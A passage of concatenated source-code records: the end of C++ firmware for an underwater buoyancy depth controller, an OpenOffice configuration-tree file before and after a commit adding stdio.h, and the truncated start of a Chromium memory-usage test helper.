AVG_WINDOW_WIDTH; i++) {\n \/\/ m_avg_windowA[i] = 0;\n \/\/ m_avg_windowB[i] = 0;\n \/\/ }\n\n \/\/ initialize starting voltage for velocity control to 0\n \/\/ m_currentVoltage = 0;\n}\n\n\/\/ return a pressure reading\nfloat BtuLinear::getPressure() {\n return m_pressureSensor.MS5837_Pressure();\n}\n\n\/\/ resets values of the controllers\nvoid BtuLinear::stop() {\n\tm_depthPid.reset();\n m_actA.reset();\n m_actB.reset();\n\treturn;\n}\n\n\/\/ updates depth PID tunings\nvoid BtuLinear::updateDepthTunings(float kc, float kI, float kD) {\n m_kc = kc;\n m_kI = kI;\n m_kD = kD;\n m_depthPid.setTunings(kc, kI, kD);\n}\n\n\/\/ updates Position PID tunings\nvoid BtuLinear::updatePosTunings(float kc, float kI, float kD) {\n m_p_kc = kc;\n m_p_kI = kI;\n m_p_kD = kD;\n m_actA.setPosTunings(kc, kI, kD);\n m_actB.setPosTunings(kc, kI, kD);\n}\n\n\/\/ updates Velocity PID tunings\nvoid BtuLinear::updateVelTunings(float kc, float kI, float kD) {\n m_v_kc = kc;\n m_v_kI = kI;\n m_v_kD = kD;\n m_actA.setVelTunings(kc, kI, kD);\n m_actB.setVelTunings(kc, kI, kD);\n}\n\n\/\/ updates Mode. Resets most values if the mode has changed\nvoid BtuLinear::updateMode(int mode) {\n if(m_mode != mode) {\n stop();\n m_mode = mode;\n }\n}\n\n\/\/ runs one cycle of the controller dictated by mode\nvoid BtuLinear::runCycle(float setVal) {\n switch (m_mode) {\n\n case VOLTAGE_CTRL_MODE:\n voltageControl(setVal);\n break;\n\n case VELOCITY_CTRL_MODE:\n velocityControl(setVal);\n break;\n\n case DEPTH_CTRL_MODE:\n depthControl(setVal);\n break;\n\n case POSITION_CTRL_MODE:\n positionControl(setVal);\n break;\n }\n}\n\n\/\/ convenience function, updates mode, then runs a cycle in the chosen mode\nvoid BtuLinear::updateAndRunCycle(int mode, float value) {\n updateMode(mode);\n runCycle(value);\n}\n\n\n\/\/ calls voltageControlHelper on both actuators\nvoid BtuLinear::voltageControl(float setDuty) {\n m_actA.runVoltControl(setDuty);\n m_actB.runVoltControl(setDuty);\n}\n\n\/\/ updates the SMA window with the current position reading\n\/*\nvoid BtuLinear::updatePositionReadings() {\n float aPosition = m_actAPot;\n float bPosition = m_actBPot;\n\n float aOldPos = m_avg_windowA[m_avg_windowPtr];\n float bOldPos = m_avg_windowB[m_avg_windowPtr];\n m_avg_windowA[m_avg_windowPtr] = aPosition;\n m_avg_windowB[m_avg_windowPtr] = bPosition;\n m_avg_windowPtr = (m_avg_windowPtr+1) % AVG_WINDOW_WIDTH;\n if(m_avg_windowSize >= AVG_WINDOW_WIDTH) {\n \/\/ buffer is full\n \tm_currentAvgA = m_currentAvgA + (aPosition \/ AVG_WINDOW_WIDTH)- (aOldPos \/ AVG_WINDOW_WIDTH);\n m_currentAvgB = m_currentAvgB + (bPosition \/ AVG_WINDOW_WIDTH)- (bOldPos \/ AVG_WINDOW_WIDTH);\n } else {\n \t\/\/ buffer is still filling up\n m_avg_windowSize++;\n m_currentAvgA = 0;\n m_currentAvgB = 0;\n for(int i = 0; i < m_avg_windowSize; i++) {\n m_currentAvgA = (m_avg_windowA[i] \/ m_avg_windowSize);\n m_currentAvgB = (m_avg_windowB[i] \/ m_avg_windowSize);\n }\n }\n}\n*\/\n\n\/\/ gets the current Actuator Position. No SMA, just reads and rescales the potentiometer\nfloat BtuLinear::getActPosition(int act) {\n if(act == ACT_A) {\n return m_actA.getPosition();\n } else {\n return m_actB.getPosition();\n }\n}\n\n\n\/\/ does velocity control on both actuators\nvoid BtuLinear::velocityControl(float setVel) {\n m_actA.runVelControl(setVel);\n m_actB.runVelControl(setVel);\n}\n\n\/\/ control position of both actuators\nvoid BtuLinear::positionControl(float setPos) {\n m_actA.runPosControl(setPos);\n m_actB.runPosControl(setPos);\n}\n\n\/\/ control depth via master-slave\nvoid BtuLinear::depthControlHelper(float cmdVoltage) {\n\t\/\/ control velocity on one actuator\n m_actA.runVoltControl(cmdVoltage);\n \/\/ have the second mirror the first\n m_actB.runPosControl(m_actA.getPosition());\n}\n\n\/\/ do depth control\nvoid BtuLinear::depthControl(float setDepthMeters) {\n \/\/ Read Pressure Value and Convert into Depth in Meters\n\tfloat curDepth = getDepth();\n\n\t\/\/ current depth becomes process variable for PID controller\n m_depthPid.setProcessValue(curDepth);\n\n \/\/ desired depth in meters becomes set point of PID controller\n\tm_depthPid.setSetPoint(setDepthMeters);\n\n\t\/\/ commanded voltage is calculated by PID controller\n float cmdVolt = m_depthPid.compute();\n\n \/\/ extending the actuator increases buoyancy -> less depth\n \/\/ therefore the axis direction has to be reversed\n \/\/ and commanded voltage with opposite sign is therefore applied\n depthControlHelper( -1 * cmdVolt );\n}\n\n\/\/ get a depth reading\nfloat BtuLinear::getDepth() {\n if(m_dryRun) {\n float pvDepth = m_dryRunPot * (DEPTH_MAX);\n return pvDepth;\n }\n \/\/ read out pressure in mbar\n float pvDepth = getPressure();\n \/\/ convert pressure to meters\n float pvDepthMeters = (pvDepth - P_ATMOS_MBAR) \/ P_WATER_SURFACE_MBAR;\n return pvDepthMeters;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: cmtree.cxx,v $\n *\n * $Revision: 1.16 $\n *\n * last change: $Author: jb $ $Date: 2000-12-06 17:57:12 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\/* PLEASE DON'T DELETE ANY COMMENT LINES, ALSO IT'S UNNECESSARY. *\/\n\n#include \"cmtree.hxx\"\n\n#include <stl\/deque>\n#include <stl\/vector>\n#include <iostream>\n#include <exception>\n#include <sal\/types.h>\n#include <stl\/set>\n#include <rtl\/string.hxx>\n#include <rtl\/ustring.hxx>\n#include <osl\/diagnose.h>\n\n#include \"confname.hxx\" \/\/ Iterator for PathName scans\n#include \"cmtreemodel.hxx\"\n#include \"treeactions.hxx\"\n\n#include <com\/sun\/star\/uno\/Any.hxx>\n\n\/\/ WISDOM\n\/\/ !!Never write same code twice!!\n\nusing namespace std;\nusing namespace rtl;\nusing namespace com::sun::star::uno;\n\nnamespace configmgr\n{\n\n\/\/ ------------------------ ChildListSet implementations ------------------------\n ChildListSet::ChildListSet(ChildListSet const& aSet)\n {\n for(ChildList::iterator it = aSet.GetSet().begin();\n it != aSet.GetSet().end();\n ++it)\n m_aChildList.insert(m_aChildList.end(), (*it)->clone());\n }\n ChildListSet::~ChildListSet()\n {\n for(ChildList::iterator it = m_aChildList.begin();\n it != m_aChildList.end();\n ++it)\n delete *it;\n }\n\n\n\/\/ ---------------------------- Node implementation ----------------------------\n\n INode::INode(configuration::Attributes _aAttr):m_aAttributes(_aAttr){}\n INode::INode(OUString const& aName, configuration::Attributes _aAttr)\n :m_aName(aName)\n ,m_aAttributes(_aAttr){}\n \/\/ CopyCTor will be create automatically\n\n INode::~INode() {}\n\n ISubtree* INode::asISubtree(){return NULL;}\n ISubtree const* INode::asISubtree() const {return NULL;}\n ValueNode* INode::asValueNode() {return NULL;}\n ValueNode const* INode::asValueNode() const {return NULL;}\n\n\n\/\/ ------------------------- SearchNode implementation -------------------------\n SearchNode::SearchNode():INode(configuration::Attributes()){}\n SearchNode::SearchNode(OUString const& aName)\n :INode(aName, configuration::Attributes()){}\n\n INode* SearchNode::clone() const {return new SearchNode(*this);}\n\n SearchNode::~SearchNode(){}\n\n \/\/==========================================================================\n \/\/= OPropagateLevels\n \/\/==========================================================================\n \/** fills a subtree with the correct level informations\n *\/\n struct OPropagateLevels : public NodeModification\n {\n protected:\n sal_Int32 nChildLevel;\n public:\n OPropagateLevels(sal_Int32 _nParentLevel)\n {\n nChildLevel = (ITreeProvider::ALL_LEVELS == _nParentLevel) ? ITreeProvider::ALL_LEVELS : _nParentLevel - 1;\n }\n virtual void handle(ValueNode&) { \/* not interested in value nodes *\/ }\n virtual void handle(ISubtree& _rSubtree)\n {\n if ((ITreeProvider::ALL_LEVELS == nChildLevel) || nChildLevel > _rSubtree.getLevel())\n _rSubtree.setLevel(nChildLevel);\n }\n };\n\n\n\/\/ -------------------------- ISubtree implementation --------------------------\n ISubtree* ISubtree::asISubtree() {return this;}\n ISubtree const* ISubtree::asISubtree() const {return this;}\n\n \/\/--------------------------------------------------------------------------\n void ISubtree::setLevel(sal_Int16 _nLevel)\n {\n m_nLevel = _nLevel;\n if (0 == _nLevel)\n \/\/ nothing more to do, this means \"nothing known about any children\"\n return;\n\n \/\/ forward the level number to any child subtrees we have\n OPropagateLevels aDeeperInto(_nLevel);\n aDeeperInto.applyToChildren(*this);\n }\n\n\/\/ --------------------------- Subtree implementation ---------------------------\n INode* Subtree::clone() const {return new Subtree(*this);}\n\n INode* Subtree::doGetChild(OUString const& aName) const\n {\n SearchNode searchObj(aName);\n\n#ifdef DEBUG\n for (ChildList::iterator it2 = m_aChildren.GetSet().begin();\n it2 != m_aChildren.GetSet().end();\n ++it2)\n {\n INode* pINode = *it2;\n OUString aName2 = pINode->getName();\n volatile int dummy = 0;\n }\n#endif\n\n ChildList::iterator it = m_aChildren.GetSet().find(&searchObj);\n if (it == m_aChildren.GetSet().end())\n return NULL;\n else\n return *it;\n }\n\n INode* Subtree::addChild(std::auto_ptr<INode> aNode) \/\/ takes ownership\n {\n OUString aName = aNode->getName();\n std::pair<ChildList::iterator, bool> aInserted =\n m_aChildren.GetSet().insert(aNode.get());\n if (aInserted.second)\n aNode.release();\n return *aInserted.first;\n }\n\n ::std::auto_ptr<INode> Subtree::removeChild(OUString const& aName)\n {\n SearchNode searchObj(aName);\n ChildList::const_iterator it = m_aChildren.GetSet().find(&searchObj);\n\n ::std::auto_ptr<INode> aReturn;\n if (m_aChildren.GetSet().end() != it)\n {\n aReturn = ::std::auto_ptr<INode>(*it);\n m_aChildren.GetSet().erase(it);\n }\n return aReturn;\n }\n\n \/\/==========================================================================\n \/\/= OBuildChangeTree - historic\n \/\/==========================================================================\n \/** generates a change tree by comparing two trees\n *\/\n\/* struct OBuildChangeTree : public NodeModification\n {\n protected:\n SubtreeChange& m_rChangeList;\n INode* m_pCacheNode;\n\n public:\n OBuildChangeTree(SubtreeChange& rList, INode* pNode)\n :m_rChangeList(rList)\n ,m_pCacheNode(pNode)\n {\n }\n\n virtual void handle(ValueNode& _nNode)\n {\n OUString aNodeName = _nNode.getName();\n ISubtree* pTree = m_pCacheNode->asISubtree();\n OSL_ENSHURE(pTree, \"OBuildChangeTree::handle : node must be a inner node!\");\n if (pTree)\n {\n INode* pChild = pTree->getChild(aNodeName);\n ValueNode* pValueNode = pChild ? pChild->asValueNode() : NULL;\n OSL_ENSHURE(pValueNode, \"OBuildChangeTree::handle : node must be a value node!\");\n\n \/\/ if the values differ add a new change\n if (pValueNode && _nNode.getValue() != pValueNode->getValue())\n {\n ValueChange* pChange = new ValueChange(_nNode.getValue(), *pValueNode);\n m_rChangeList.addChange(::std::auto_ptr<Change>(pChange));\n }\n }\n }\n\n virtual void handle(ISubtree& _rSubtree)\n {\n OUString aNodeName = _rSubtree.getName();\n ISubtree* pTree = m_pCacheNode->asISubtree();\n OSL_ENSHURE(pTree, \"OBuildChangeTree::handle : node must be a inner node!\");\n if (pTree)\n {\n INode* pChild = pTree->getChild(aNodeName);\n \/\/ node not in cache, so ignore it\n \/\/ later, when we get additions and removements within on transaction, then we have to care about\n if (pChild)\n {\n ISubtree* pSubTree = pChild->asISubtree();\n OSL_ENSHURE(pSubTree, \"OBuildChangeTree::handle : node must be a inner node!\");\n \/\/ generate a new change\n\n SubtreeChange* pChange = new SubtreeChange(_rSubtree);\n OBuildChangeTree aNextLevel(*pChange, pSubTree);\n aNextLevel.applyToChildren(_rSubtree);\n\n \/\/ now count if there are any changes\n OChangeCounter aCounter;\n pChange->dispatch(aCounter);\n\n if (aCounter.nCount != 0)\n m_rChangeList.addChange(::std::auto_ptr<Change>(pChange));\n else\n delete pChange;\n }\n }\n }\n };\n\n*\/\n void Subtree::forEachChild(NodeAction& anAction) const {\n for(ChildList::const_iterator it = m_aChildren.GetSet().begin();\n it != m_aChildren.GetSet().end();\n ++it)\n (**it).dispatch(anAction);\n }\n\n void Subtree::forEachChild(NodeModification& anAction) {\n for(ChildList::iterator it = m_aChildren.GetSet().begin();\n it != m_aChildren.GetSet().end();\n ++it)\n (**it).dispatch(anAction);\n }\n\n\/\/ -------------------------- ValueNode implementation --------------------------\n void ValueNode::check_init() \/\/ may throw in the future\n {\n if (m_aValue.hasValue())\n {\n OSL_ASSERT(m_aType != ::getVoidCppuType());\n OSL_ASSERT(m_aType == m_aValue.getValueType());\n }\n else OSL_ASSERT(getVoidCppuType() == m_aValue.getValueType());\n\n if (m_aDefaultValue.hasValue())\n {\n OSL_ASSERT(m_aType != ::getVoidCppuType());\n OSL_ASSERT(m_aType == m_aDefaultValue.getValueType());\n }\n else OSL_ASSERT(getVoidCppuType() == m_aDefaultValue.getValueType());\n }\n\n void ValueNode::init()\n {\n OSL_ASSERT(m_aType == ::getVoidCppuType());\n\n if (m_aDefaultValue.hasValue())\n {\n m_aType = m_aDefaultValue.getValueType();\n OSL_ASSERT(m_aType != ::getVoidCppuType());\n }\n else if (m_aValue.hasValue())\n {\n m_aType = m_aValue.getValueType();\n OSL_ASSERT(m_aType != ::getVoidCppuType());\n }\n }\n\n\n void ValueNode::setValue(Any aValue)\n {\n m_aValue = aValue;\n \/\/ flip the type if necessary\n if ( (m_aType.getTypeClass() == TypeClass_ANY)\n && (aValue.getValueType().getTypeClass() != TypeClass_ANY)\n && (aValue.getValueType().getTypeClass() != TypeClass_VOID)\n )\n m_aType = aValue.getValueType();\n }\n\n void ValueNode::changeDefault(Any aValue)\n {\n m_aDefaultValue = aValue;\n \/\/ flip the type if necessary\n if ( (m_aType.getTypeClass() == TypeClass_ANY)\n && (aValue.getValueType().getTypeClass() != TypeClass_ANY)\n && (aValue.getValueType().getTypeClass() != TypeClass_VOID)\n )\n m_aType = aValue.getValueType();\n }\n\n void ValueNode::setDefault()\n {\n \/\/ PRE: ????\n \/\/ POST: isDefault() == true\n m_aValue = Any();\n }\n\n INode* ValueNode::clone() const\n {\n return new ValueNode(*this);\n }\n\n ValueNode* ValueNode::asValueNode() {return this;}\n ValueNode const* ValueNode::asValueNode() const {return this;}\n\n} \/\/ namespace configmgr\n\n\n<commit_msg>include stdio.h to compile under Solaris 8<commit_after>\/*************************************************************************\n *\n * $RCSfile: cmtree.cxx,v $\n *\n * $Revision: 1.17 $\n *\n * last change: $Author: fs $ $Date: 2000-12-10 09:59:57 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#include <stdio.h>\n\/* PLEASE DON'T DELETE ANY COMMENT LINES, ALSO IT'S UNNECESSARY. *\/\n\n#include \"cmtree.hxx\"\n\n#include <stl\/deque>\n#include <stl\/vector>\n#include <iostream>\n#include <exception>\n#include <sal\/types.h>\n#include <stl\/set>\n#include <rtl\/string.hxx>\n#include <rtl\/ustring.hxx>\n#include <osl\/diagnose.h>\n\n#include \"confname.hxx\" \/\/ Iterator for PathName scans\n#include \"cmtreemodel.hxx\"\n#include \"treeactions.hxx\"\n\n#include <com\/sun\/star\/uno\/Any.hxx>\n\n\/\/ WISDOM\n\/\/ !!Never write same code twice!!\n\nusing namespace std;\nusing namespace rtl;\nusing namespace com::sun::star::uno;\n\nnamespace configmgr\n{\n\n\/\/ ------------------------ ChildListSet implementations ------------------------\n ChildListSet::ChildListSet(ChildListSet const& aSet)\n {\n for(ChildList::iterator it = aSet.GetSet().begin();\n it != aSet.GetSet().end();\n ++it)\n m_aChildList.insert(m_aChildList.end(), (*it)->clone());\n }\n ChildListSet::~ChildListSet()\n {\n for(ChildList::iterator it = m_aChildList.begin();\n it != m_aChildList.end();\n ++it)\n delete *it;\n }\n\n\n\/\/ ---------------------------- Node implementation ----------------------------\n\n INode::INode(configuration::Attributes _aAttr):m_aAttributes(_aAttr){}\n INode::INode(OUString const& aName, configuration::Attributes _aAttr)\n :m_aName(aName)\n ,m_aAttributes(_aAttr){}\n \/\/ CopyCTor will be create automatically\n\n INode::~INode() {}\n\n ISubtree* INode::asISubtree(){return NULL;}\n ISubtree const* INode::asISubtree() const {return NULL;}\n ValueNode* INode::asValueNode() {return NULL;}\n ValueNode const* INode::asValueNode() const {return NULL;}\n\n\n\/\/ ------------------------- SearchNode implementation -------------------------\n SearchNode::SearchNode():INode(configuration::Attributes()){}\n SearchNode::SearchNode(OUString const& aName)\n :INode(aName, configuration::Attributes()){}\n\n INode* SearchNode::clone() const {return new SearchNode(*this);}\n\n SearchNode::~SearchNode(){}\n\n \/\/==========================================================================\n \/\/= OPropagateLevels\n \/\/==========================================================================\n \/** fills a subtree with the correct level informations\n *\/\n struct OPropagateLevels : public NodeModification\n {\n protected:\n sal_Int32 nChildLevel;\n public:\n OPropagateLevels(sal_Int32 _nParentLevel)\n {\n nChildLevel = (ITreeProvider::ALL_LEVELS == _nParentLevel) ? ITreeProvider::ALL_LEVELS : _nParentLevel - 1;\n }\n virtual void handle(ValueNode&) { \/* not interested in value nodes *\/ }\n virtual void handle(ISubtree& _rSubtree)\n {\n if ((ITreeProvider::ALL_LEVELS == nChildLevel) || nChildLevel > _rSubtree.getLevel())\n _rSubtree.setLevel(nChildLevel);\n }\n };\n\n\n\/\/ -------------------------- ISubtree implementation --------------------------\n ISubtree* ISubtree::asISubtree() {return this;}\n ISubtree const* ISubtree::asISubtree() const {return this;}\n\n \/\/--------------------------------------------------------------------------\n void ISubtree::setLevel(sal_Int16 _nLevel)\n {\n m_nLevel = _nLevel;\n if (0 == _nLevel)\n \/\/ nothing more to do, this means \"nothing known about any children\"\n return;\n\n \/\/ forward the level number to any child subtrees we have\n OPropagateLevels aDeeperInto(_nLevel);\n aDeeperInto.applyToChildren(*this);\n }\n\n\/\/ --------------------------- Subtree implementation ---------------------------\n INode* Subtree::clone() const {return new Subtree(*this);}\n\n INode* Subtree::doGetChild(OUString const& aName) const\n {\n SearchNode searchObj(aName);\n\n#ifdef DEBUG\n for (ChildList::iterator it2 = m_aChildren.GetSet().begin();\n it2 != m_aChildren.GetSet().end();\n ++it2)\n {\n INode* pINode = *it2;\n OUString aName2 = pINode->getName();\n volatile int dummy = 0;\n }\n#endif\n\n ChildList::iterator it = m_aChildren.GetSet().find(&searchObj);\n if (it == m_aChildren.GetSet().end())\n return NULL;\n else\n return *it;\n }\n\n INode* Subtree::addChild(std::auto_ptr<INode> aNode) \/\/ takes ownership\n {\n OUString aName = aNode->getName();\n std::pair<ChildList::iterator, bool> aInserted =\n m_aChildren.GetSet().insert(aNode.get());\n if (aInserted.second)\n aNode.release();\n return *aInserted.first;\n }\n\n ::std::auto_ptr<INode> Subtree::removeChild(OUString const& aName)\n {\n SearchNode searchObj(aName);\n ChildList::const_iterator it = m_aChildren.GetSet().find(&searchObj);\n\n ::std::auto_ptr<INode> aReturn;\n if (m_aChildren.GetSet().end() != it)\n {\n aReturn = ::std::auto_ptr<INode>(*it);\n m_aChildren.GetSet().erase(it);\n }\n return aReturn;\n }\n\n \/\/==========================================================================\n \/\/= OBuildChangeTree - historic\n \/\/==========================================================================\n \/** generates a change tree by comparing two trees\n *\/\n\/* struct OBuildChangeTree : public NodeModification\n {\n protected:\n SubtreeChange& m_rChangeList;\n INode* m_pCacheNode;\n\n public:\n OBuildChangeTree(SubtreeChange& rList, INode* pNode)\n :m_rChangeList(rList)\n ,m_pCacheNode(pNode)\n {\n }\n\n virtual void handle(ValueNode& _nNode)\n {\n OUString aNodeName = _nNode.getName();\n ISubtree* pTree = m_pCacheNode->asISubtree();\n OSL_ENSHURE(pTree, \"OBuildChangeTree::handle : node must be a inner node!\");\n if (pTree)\n {\n INode* pChild = pTree->getChild(aNodeName);\n ValueNode* pValueNode = pChild ? pChild->asValueNode() : NULL;\n OSL_ENSHURE(pValueNode, \"OBuildChangeTree::handle : node must be a value node!\");\n\n \/\/ if the values differ add a new change\n if (pValueNode && _nNode.getValue() != pValueNode->getValue())\n {\n ValueChange* pChange = new ValueChange(_nNode.getValue(), *pValueNode);\n m_rChangeList.addChange(::std::auto_ptr<Change>(pChange));\n }\n }\n }\n\n virtual void handle(ISubtree& _rSubtree)\n {\n OUString aNodeName = _rSubtree.getName();\n ISubtree* pTree = m_pCacheNode->asISubtree();\n OSL_ENSHURE(pTree, \"OBuildChangeTree::handle : node must be a inner node!\");\n if (pTree)\n {\n INode* pChild = pTree->getChild(aNodeName);\n \/\/ node not in cache, so ignore it\n \/\/ later, when we get additions and removements within on transaction, then we have to care about\n if (pChild)\n {\n ISubtree* pSubTree = pChild->asISubtree();\n OSL_ENSHURE(pSubTree, \"OBuildChangeTree::handle : node must be a inner node!\");\n \/\/ generate a new change\n\n SubtreeChange* pChange = new SubtreeChange(_rSubtree);\n OBuildChangeTree aNextLevel(*pChange, pSubTree);\n aNextLevel.applyToChildren(_rSubtree);\n\n \/\/ now count if there are any changes\n OChangeCounter aCounter;\n pChange->dispatch(aCounter);\n\n if (aCounter.nCount != 0)\n m_rChangeList.addChange(::std::auto_ptr<Change>(pChange));\n else\n delete pChange;\n }\n }\n }\n };\n\n*\/\n void Subtree::forEachChild(NodeAction& anAction) const {\n for(ChildList::const_iterator it = m_aChildren.GetSet().begin();\n it != m_aChildren.GetSet().end();\n ++it)\n (**it).dispatch(anAction);\n }\n\n void Subtree::forEachChild(NodeModification& anAction) {\n for(ChildList::iterator it = m_aChildren.GetSet().begin();\n it != m_aChildren.GetSet().end();\n ++it)\n (**it).dispatch(anAction);\n }\n\n\/\/ -------------------------- ValueNode implementation --------------------------\n void ValueNode::check_init() \/\/ may throw in the future\n {\n if (m_aValue.hasValue())\n {\n OSL_ASSERT(m_aType != ::getVoidCppuType());\n OSL_ASSERT(m_aType == m_aValue.getValueType());\n }\n else OSL_ASSERT(getVoidCppuType() == m_aValue.getValueType());\n\n if (m_aDefaultValue.hasValue())\n {\n OSL_ASSERT(m_aType != ::getVoidCppuType());\n OSL_ASSERT(m_aType == m_aDefaultValue.getValueType());\n }\n else OSL_ASSERT(getVoidCppuType() == m_aDefaultValue.getValueType());\n }\n\n void ValueNode::init()\n {\n OSL_ASSERT(m_aType == ::getVoidCppuType());\n\n if (m_aDefaultValue.hasValue())\n {\n m_aType = m_aDefaultValue.getValueType();\n OSL_ASSERT(m_aType != ::getVoidCppuType());\n }\n else if (m_aValue.hasValue())\n {\n m_aType = m_aValue.getValueType();\n OSL_ASSERT(m_aType != ::getVoidCppuType());\n }\n }\n\n\n void ValueNode::setValue(Any aValue)\n {\n m_aValue = aValue;\n \/\/ flip the type if necessary\n if ( (m_aType.getTypeClass() == TypeClass_ANY)\n && (aValue.getValueType().getTypeClass() != TypeClass_ANY)\n && (aValue.getValueType().getTypeClass() != TypeClass_VOID)\n )\n m_aType = aValue.getValueType();\n }\n\n void ValueNode::changeDefault(Any aValue)\n {\n m_aDefaultValue = aValue;\n \/\/ flip the type if necessary\n if ( (m_aType.getTypeClass() == TypeClass_ANY)\n && (aValue.getValueType().getTypeClass() != TypeClass_ANY)\n && (aValue.getValueType().getTypeClass() != TypeClass_VOID)\n )\n m_aType = aValue.getValueType();\n }\n\n void ValueNode::setDefault()\n {\n \/\/ PRE: ????\n \/\/ POST: isDefault() == true\n m_aValue = Any();\n }\n\n INode* ValueNode::clone() const\n {\n return new ValueNode(*this);\n }\n\n ValueNode* ValueNode::asValueNode() {return this;}\n ValueNode const* ValueNode::asValueNode() const {return this;}\n\n} \/\/ namespace configmgr\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2008, Google Inc.\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/ * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include <windows.h>\n#include <psapi.h>\n\n#include \"base\/basictypes.h\"\n#include \"base\/process_util.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_process_filter.h\"\n#include \"chrome\/test\/perf\/mem_usage.h\"\n\nbool GetMemoryInfo(uint32 process_id,\n size_t *peak_virtual_size,\n size_t *current_virtual_size,\n size_t *peak_working_set_size,\n size_t *current_working_set_size) {\n if (!peak_virtual_size || !current_virtual_size)\n return false;\n\n HANDLE process_handle = OpenProcess(PROCESS_QUERY_INFORMATION |\n PROCESS_VM_READ,\n FALSE, process_id);\n if (!process_handle)\n return false;\n\n PROCESS_MEMORY_COUNTERS_EX pmc;\n bool result = false;\n if (GetProcessMemoryInfo(process_handle,\n reinterpret_cast<PPROCESS_MEMORY_COUNTERS>(&pmc),\n sizeof(pmc))) {\n 